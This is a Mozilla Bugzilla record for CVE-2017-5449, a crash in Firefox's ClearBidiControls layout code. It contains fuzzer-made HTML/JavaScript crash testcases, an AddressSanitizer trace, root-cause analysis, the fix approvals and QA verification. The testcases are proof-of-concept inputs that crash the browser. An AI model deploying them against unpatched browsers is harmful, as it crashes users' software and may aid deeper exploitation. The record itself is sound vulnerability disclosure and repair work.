Closed Bug 1340127 (CVE-2017-5449) Opened 8 years ago Closed 8 years ago

SEGV in ClearBidiControls

Categories

(Core :: Layout: Text and Fonts, defect)

Product:
Core
Component:
Layout: Text and Fonts
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla54
Tracking Flags:
Tracking Status
firefox-esr45 --- wontfix
firefox51 --- wontfix
firefox52 --- wontfix
firefox-esr52 53+ fixed
firefox53 + fixed
firefox54 + fixed

People

(Reporter: nils, Assigned: dbaron)

Details

(4 keywords, Whiteboard: [adv-main53+][adv-esr52.1+])

Attachments

(4 files)

Slightly simplified testcase (CRASH ON LOAD)
635 bytes, text/html
Details
debug session for the slightly simplified testcase above
25.27 KB, text/html
Details
Slightly simplified testcase with no script (CRASH ON LOAD)
594 bytes, text/html
Details
Consider different bidi control/override values when deciding whether to consider a frame first or last
2.85 KB, patch
jfkthame
: review+
gchang
: approval-mozilla-aurora+
jcristau
: approval-mozilla-esr52+
Details | Diff | Splinter Review
The following testcase crashes the latest ASAN build of Firefox. The testcase seems to depend on the browser window size. Try resizing the window if it does not crash on the first attempt. <script> function start() { o22=document.createElement('frame'); o38=document.createElement('frame'); o47=document.createElement('frame'); o65=document.createElement('style'); o22.style.writingMode='sideways-lr'; o74=document.createTextNode('{}:first-line{'); o65.appendChild(o74); o83=document.createElement('frame'); o47.animate([{unicodeBidi: 'embed',}],100); o100=document.documentElement; document.documentElement.prepend(unescape('%u0627'),undefined); o83.prepend("undefined","undefined",unescape("undefined%u8A08%u7B97%u3057%u30E5%u30FC%u30BF%u30FC%u8A08%u7B97%u3057%u30E5%u30FC%u30BF%u30FC%u8A08%u7B97%u3057%u30E5%u30FC%u30BF%u30FC")); document.write('<html><body></body></html>'); document.documentElement.appendChild(o22); o22.appendChild(o38); o38.appendChild(o47); document.documentElement.appendChild(o65); o47.appendChild(o83); o22.appendChild(o100); } </script> <body onload="start()"></body> ASAN:DEADLYSIGNAL ================================================================= ==7498==ERROR: AddressSanitizer: SEGV on unknown address 0x7ffe2c663d6c (pc 0x7faa7b918d7a bp 0x7ffc2c663c90 sp 0x7ffc2c6638e0 T0) #0 0x7faa7b918d79 in ClearBidiControls /home/worker/workspace/build/src/layout/base/nsBidiPresUtils.cpp:313:21 #1 0x7faa7b918d79 in ResolveParagraphWithinBlock /home/worker/workspace/build/src/layout/base/nsBidiPresUtils.cpp:1226 #2 0x7faa7b918d79 in nsBidiPresUtils::TraverseFrames(nsBlockFrame*, nsBlockInFlowLineIterator*, nsIFrame*, BidiParagraphData*) /home/worker/workspace/build/src/layout/base/nsBidiPresUtils.cpp:1192 #3 0x7faa7b917566 in nsBidiPresUtils::Resolve(nsBlockFrame*) /home/worker/workspace/build/src/layout/base/nsBidiPresUtils.cpp:697:5 #4 0x7faa7bac2e0b in ResolveBidi /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:7452:10 #5 0x7faa7bac2e0b in nsBlockFrame::GetMinISize(nsRenderingContext*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:736 #6 0x7faa7bb3cbd0 in ShrinkWidthToFit /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:5529:22 #7 0x7faa7bb3cbd0 in nsContainerFrame::ComputeAutoSize(nsRenderingContext*, mozilla::WritingMode, mozilla::LogicalSize const&, int, mozilla::LogicalSize const&, mozilla::LogicalSize const&, mozilla::LogicalSize const&, nsIFrame::ComputeSizeFlags) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:942 #8 0x7faa7bb4408e in nsFrame::ComputeSize(nsRenderingContext*, mozilla::WritingMode, mozilla::LogicalSize const&, int, mozilla::LogicalSize const&, mozilla::LogicalSize const&, mozilla::LogicalSize const&, nsIFrame::ComputeSizeFlags) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:4785:24 #9 0x7faa7ba8456e in mozilla::ReflowInput::InitConstraints(nsPresContext*, mozilla::LogicalSize const&, nsMargin const*, nsMargin const*, nsIAtom*) /home/worker/workspace/build/src/layout/generic/ReflowInput.cpp:2451:9 #10 0x7faa7ba7af04 in mozilla::ReflowInput::Init(nsPresContext*, mozilla::LogicalSize const*, nsMargin const*, nsMargin const*) /home/worker/workspace/build/src/layout/generic/ReflowInput.cpp:399:3 #11 0x7faa7ba43759 in emplace<nsPresContext *&, const mozilla::ReflowInput &, nsIFrame *&, mozilla::LogicalSize &> /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/Maybe.h:461:29 #12 0x7faa7ba43759 in nsLineLayout::ReflowFrame(nsIFrame*, unsigned int&, mozilla::ReflowOutput*, bool&) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:879 #13 0x7faa7baee855 in nsBlockFrame::ReflowInlineFrame(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsIFrame*, LineReflowStatus*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:4151:3 #14 0x7faa7baed528 in nsBlockFrame::DoReflowInlineFrames(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsFlowAreaRect&, int&, nsFloatManager::SavedState*, bool*, LineReflowStatus*, bool) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3952:5 #15 0x7faa7bae3e4c in nsBlockFrame::ReflowInlineFrames(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3826:9 #16 0x7faa7bad3223 in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2832:5 #17 0x7faa7bad3223 in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2368 #18 0x7faa7bac98e2 in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3 #19 0x7faa7bb2ccc0 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, unsigned int&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3 #20 0x7faa7bb2b6a2 in nsCanvasFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:711:5 #21 0x7faa7bb2ccc0 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, unsigned int&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3 #22 0x7faa7bbd02ea in nsHTMLScrollFrame::ReflowScrolledFrame(mozilla::ScrollReflowInput*, bool, bool, mozilla::ReflowOutput*, bool) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:552:3 #23 0x7faa7bbd1760 in nsHTMLScrollFrame::ReflowContents(mozilla::ScrollReflowInput*, mozilla::ReflowOutput const&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:664:3 #24 0x7faa7bbd4f8b in nsHTMLScrollFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:1039:3 #25 0x7faa7bb3d3e2 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, int, int, unsigned int, unsigned int&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1072:3 #26 0x7faa7baaf3a9 in mozilla::ViewportFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, unsigned int&) /home/worker/workspace/build/src/layout/generic/ViewportFrame.cpp:326:7 #27 0x7faa7b8b0c3c in mozilla::PresShell::DoReflow(nsIFrame*, bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9258:3 #28 0x7faa7b8c45c4 in mozilla::PresShell::ProcessReflowCommands(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9431:24 #29 0x7faa7b8c3464 in mozilla::PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4233:11 #30 0x7faa7b835144 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1915:9 #31 0x7faa7b843495 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:305:7 #32 0x7faa7b843164 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:327:5 #33 0x7faa7b8457d3 in RunRefreshDrivers /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:722:5 #34 0x7faa7b8457d3 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:631 #35 0x7faa7b8451b4 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:544:9 #36 0x7faa7c0bac14 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /home/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:64:5 #37 0x7faa761e1718 in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:160:20 #38 0x7faa75e6cba3 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1425:16 #39 0x7faa75db3bc0 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1795:14 #40 0x7faa75db00fc in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1730:17 #41 0x7faa75db2734 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1603:5 #42 0x7faa75db2d7e in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1636:5 #43 0x7faa74fa9f59 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7 #44 0x7faa74fa6850 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10 #45 0x7faa75dbbac4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:124:5 #46 0x7faa75d2cc38 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #47 0x7faa75d2cc38 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #48 0x7faa75d2cc38 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #49 0x7faa7b1644ff in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3 #50 0x7faa7e96a997 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:852:12 #51 0x7faa75d2cc38 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3 #52 0x7faa75d2cc38 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231 #53 0x7faa75d2cc38 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211 #54 0x7faa7e96a47c in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:684:7 #55 0x4e00c6 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:19 #56 0x4e00c6 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:284 #57 0x7faa9034c82f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291 #58 0x41c2e8 in _start (/home/nils/fuzzer3/firefox/firefox+0x41c2e8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/worker/workspace/build/src/layout/base/nsBidiPresUtils.cpp:313:21 in ClearBidiControls ==7498==ABORTING
Is a dup of bug 1337504?
Group: core-security → layout-core-security
Flags: needinfo?(mats)
No, this has a different root cause, although it eventually crashes due to a call to PopBidiControl with nothing on the mEmbeddingStack, which executes: mEmbeddingStack.TruncateLength(mEmbeddingStack.Length() - 1)
Severity: normal → critical
Flags: needinfo?(mats)
Keywords: crash, testcase
OS: Unspecified → All
Hardware: Unspecified → All
For clarity: the testcase in this bug crashes also with my patches that fix bug 1337504.
<style> #o22:first-line{} </style> <body> <span id="o22" style="writing-mode:sideways-lr"> <span id="o38"> <span id="o47"> xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx xxxxxxxxxx </span> </span> </span> <script> document.getElementById("o38").prepend(unescape('%u0627'),undefined); document.getElementById("o47").animate([{unicodeBidi: 'embed',}],100); </script> </body>
It looks like the issue here is that the first-in-flow (red color) has a different 'unicode-bidi' computed value than the last continuation (blue). This seems like a bug. The nsBidiPresUtils code depends on GetBidiControl returning the same value for all continuations, for Push/PopBidiControl to match: http://searchfox.org/mozilla-central/rev/12cf11303392edac9f1da0c02e3d9ad2ecc8f4d3/layout/base/nsBidiPresUtils.cpp#107
(Sorry, got the colors wrong in the comment. The first-in-flow is blue, the last-in-flow is red.)
Component: Layout → CSS Parsing and Computation
Flags: sec-bounty?
Flags: needinfo?(bugs)
(In reply to Mats Palmgren (:mats) from comment #4) > <span id="o22" style="writing-mode:sideways-lr"> It seems to happen with any vertical writing mode, including {sideways,vertical}-{lr,rl}, but not horizontal-tb. > document.getElementById("o38").prepend(unescape('%u0627'),undefined); This line is not related. The only thing this line does is to trigger bidi resolution, which is by default disabled. Adding any element with dir="rtl" would have the same effect. > document.getElementById("o47").animate([{unicodeBidi: 'embed',}],100); This seems to be necessary. It doesn't happen when you replace this with something like setTimeout, however, replacing it with a CSS animation would still work. So I guess there is something animation involves.
This was less reproducable under rr than I would have expected, but I did manage to get a recording of the crash under rr after a few tries.
So while I don't quite see what Mats saw in comment 5 (when debugging Xidorn's testcase, which is admittedly different), I think it provides a pretty clear explanation of what happened. While there might be a subtle bug in animations code, the intersection of animations and ::first-line is nontrivial and shouldn't lead to crashes. I think the Bidi code should just check for continuations that have different unicode-bidi style and treat such continuation boundaries as though they're separate elements.
Component: CSS Parsing and Computation → Layout: Text
Comment on attachment 8842268 [details] [diff] [review] Consider different bidi control/override values when deciding whether to consider a frame first or last Review of attachment 8842268 [details] [diff] [review]: ----------------------------------------------------------------- Sounds reasonable to me.
Attachment #8842268 - Flags: review?(jfkthame) → review+
I'm going to trust Mats's sec-moderate rating here (from bug 1337504 comment 8) and go ahead and land per the policy at https://wiki.mozilla.org/Security/Bug_Approval_Process .
https://hg.mozilla.org/integration/mozilla-inbound/rev/eb6b998cfa79ea7eddbba71ccb3e9c8e327691aa Bug 1340127 - Consider different bidi control/override values when deciding whether to consider a frame first or last. r=jfkthame
Comment on attachment 8842268 [details] [diff] [review] Consider different bidi control/override values when deciding whether to consider a frame first or last Approval Request Comment [Feature/Bug causing the regression]: reasonably old, perhaps CSS Animations (Firefox 5) [User impact if declined]: crashes [Is this code covered by automated tests?]: yes [Has the fix been verified in Nightly?]: no [Needs manual test from QE? If yes, steps to reproduce]: no [List of other uplifts needed for the feature/fix]: none [Is the change risky?]: no [Why is the change risky/not risky?]: the only cases where it can change behavior are extreme edge cases [String changes made/needed]: no
Attachment #8842268 - Flags: approval-mozilla-aurora?
https://hg.mozilla.org/mozilla-central/rev/eb6b998cfa79
Status: ASSIGNED → RESOLVED
Closed: 8 years ago
status-firefox54: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla54
Comment on attachment 8842268 [details] [diff] [review] Consider different bidi control/override values when deciding whether to consider a frame first or last Fix a crash and security issue. Aurora53+.
Attachment #8842268 - Flags: approval-mozilla-aurora? → approval-mozilla-aurora+
Should we consider this for ESR52 as well? Too late for the initial release next week, but maybe for 52.1?
Flags: needinfo?(dbaron)
Comment on attachment 8842268 [details] [diff] [review] Consider different bidi control/override values when deciding whether to consider a frame first or last [Approval Request Comment] If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-moderate that's a relatively straightforward crash fix, and there could potentially be a more-exploitable bug lurking in the area User impact if declined: crashes, most likely on fuzzer-generated content, probably not exploitable, but there's a chance there could be a different crash around that is Fix Landed on Version: 53 Risk to taking this patch (and alternatives if risky): quite low; it should only be changing behavior in a case that misbehaves. (Unless there's a missing null-check or something like that, but I don't think there is.) String or UUID changes made by this patch: no
Flags: needinfo?(dbaron)
Attachment #8842268 - Flags: approval-mozilla-esr52?
Flags: sec-bounty? → sec-bounty+
Group: layout-core-security → core-security-release
Comment on attachment 8842268 [details] [diff] [review] Consider different bidi control/override values when deciding whether to consider a frame first or last ok, let's get this in esr52.1
Attachment #8842268 - Flags: approval-mozilla-esr52? → approval-mozilla-esr52+
Flags: needinfo?(bugs)
Whiteboard: [adv-main53+][adv-esr52.1+]
Alias: CVE-2017-5449
I didn't managed to reproduce the crash using an affected build. I tried with both testcases from comment 4 and comment 8 on 45.9.0 esr, 51 Nightly ASAN builds. Also, I've tried to resize the window after the testcase was loaded but it did not crashed. (Ubuntu 16.04 x64 LTS) David, do you have any idea on what I'm missing here, in order to reproduce this? Thanks!
Flags: needinfo?(dbaron)
The testcase was not particularly easy for me to get to crash, but I did get it to happen at least once.
Flags: needinfo?(dbaron)
Nils, can you please confirm if this crash is fixed on esr52 and 53 latest Beta builds since I am not able to reproduce the issue? Thanks!
Flags: needinfo?(nils)
Ciprian, are there any ESR asan builds available?
Thanks Julien! I can confirm both my testcase and the simplified testcase don't crashes the latest beta build. My original testcase doesn't work on esr52 because of missing support for animate(), however I can confirm that the simplified testcase does not crash esr52.
Flags: needinfo?(nils)
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: